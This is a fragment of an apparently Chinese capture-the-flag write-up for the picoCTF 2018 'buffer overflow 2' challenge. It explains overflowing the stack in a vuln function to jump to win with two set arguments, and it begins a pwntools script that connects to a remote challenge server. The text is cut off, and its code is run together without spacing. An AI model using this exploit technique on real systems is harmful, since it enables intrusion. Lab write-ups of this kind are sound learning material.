r.interactive() picoctf_2018_buffer overflow 2 在vuln函数中存在栈溢出,使其溢出跳转到win函数,并传入两个参数0xDEADBEEF和0xDEADC0DE frompwnimport*r=remote('node3.buuoj.cn',26189)#r=process('./PicoCTF_2018_buffer_overflow_2')elf=ELF('.